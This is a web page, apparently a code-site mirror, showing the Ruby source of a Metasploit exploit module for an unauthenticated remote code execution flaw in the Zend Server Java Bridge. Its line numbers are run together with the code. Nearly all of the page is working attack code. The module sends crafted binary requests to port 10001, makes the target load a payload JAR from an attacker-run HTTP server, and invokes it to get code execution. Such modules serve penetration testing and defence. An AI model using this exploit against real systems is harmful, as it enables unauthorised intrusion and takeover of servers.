Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/zend_java_bridge.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpServer9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(update_info(info,13'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',14'Description' => %q{15This module takes advantage of a trust relationship issue within the16Zend Server Java Bridge. The Java Bridge is responsible for handling interactions17between PHP and Java code within Zend Server.1819When Java code is encountered Zend Server communicates with the Java Bridge. The20Java Bridge then handles the java code and creates the objects within the Java Virtual21Machine. This interaction however, does not require any sort of authentication. This22leaves the JVM wide open to remote attackers. Sending specially crafted data to the23Java Bridge results in the execution of arbitrary java code.24},25'Author' => [ 'bannedit' ],26'License' => MSF_LICENSE,27'References' =>28[29[ 'OSVDB', '71420'],30[ 'ZDI', '11-113'],31[ 'EDB', '17078' ],32],33'Platform' => ['java'], # win34'Arch' => ARCH_JAVA,35'Privileged' => true,36'Targets' =>37[38[ 'Linux', {}],39[ 'Windows', {}],40],41'DisclosureDate' => '2011-03-28',42'DefaultTarget' => 0))43register_options( [ Opt::RPORT(10001) ])44end4546def exploit47start_service()48send_java_require49end5051def send_java_require()52connect5354jar = rand_text_alpha(rand(8)+1) + '.jar'55path = get_uri + '/' + jar56uri_len = path.length57java_require = [0xffffffff, 0x16000000].pack('V*') +58"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +59[uri_len].pack('C') + path6061java_require = [java_require.length].pack('N') + java_require6263print_status("Sending java_require() request... #{path}")64sock.put(java_require)65res = sock.get_once6667select(nil, nil, nil, 5) # wait for the request to be handled68create_and_exec69end7071def create_and_exec72print_status("Sending Final Java Bridge Requests")7374create_obj =75[0x34000000, 0x00000000, 0x0c000000].pack('V*') +76"CreateObject" +77[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +78"metasploit.Payload" +79[0x07000000].pack('N') + [0x00].pack('C')8081sock.put(create_obj)82res = sock.get_once83obj_id = res[5,4]8485callmain =86[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +87[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +88[0x00].pack('C') + [0x00].pack('C')8990sock.put(callmain)91sock.get_once92handler()93end9495def on_request_uri(cli, request)96if request.uri =~ /\.jar$/i97send_response(cli, payload.encoded,98{99'Content-Type' => 'application/java-archive',100'Connection' => 'close',101'Pragma' => 'no-cache'102})103104print_status("Replied to Request for Payload JAR")105end106end107end108109110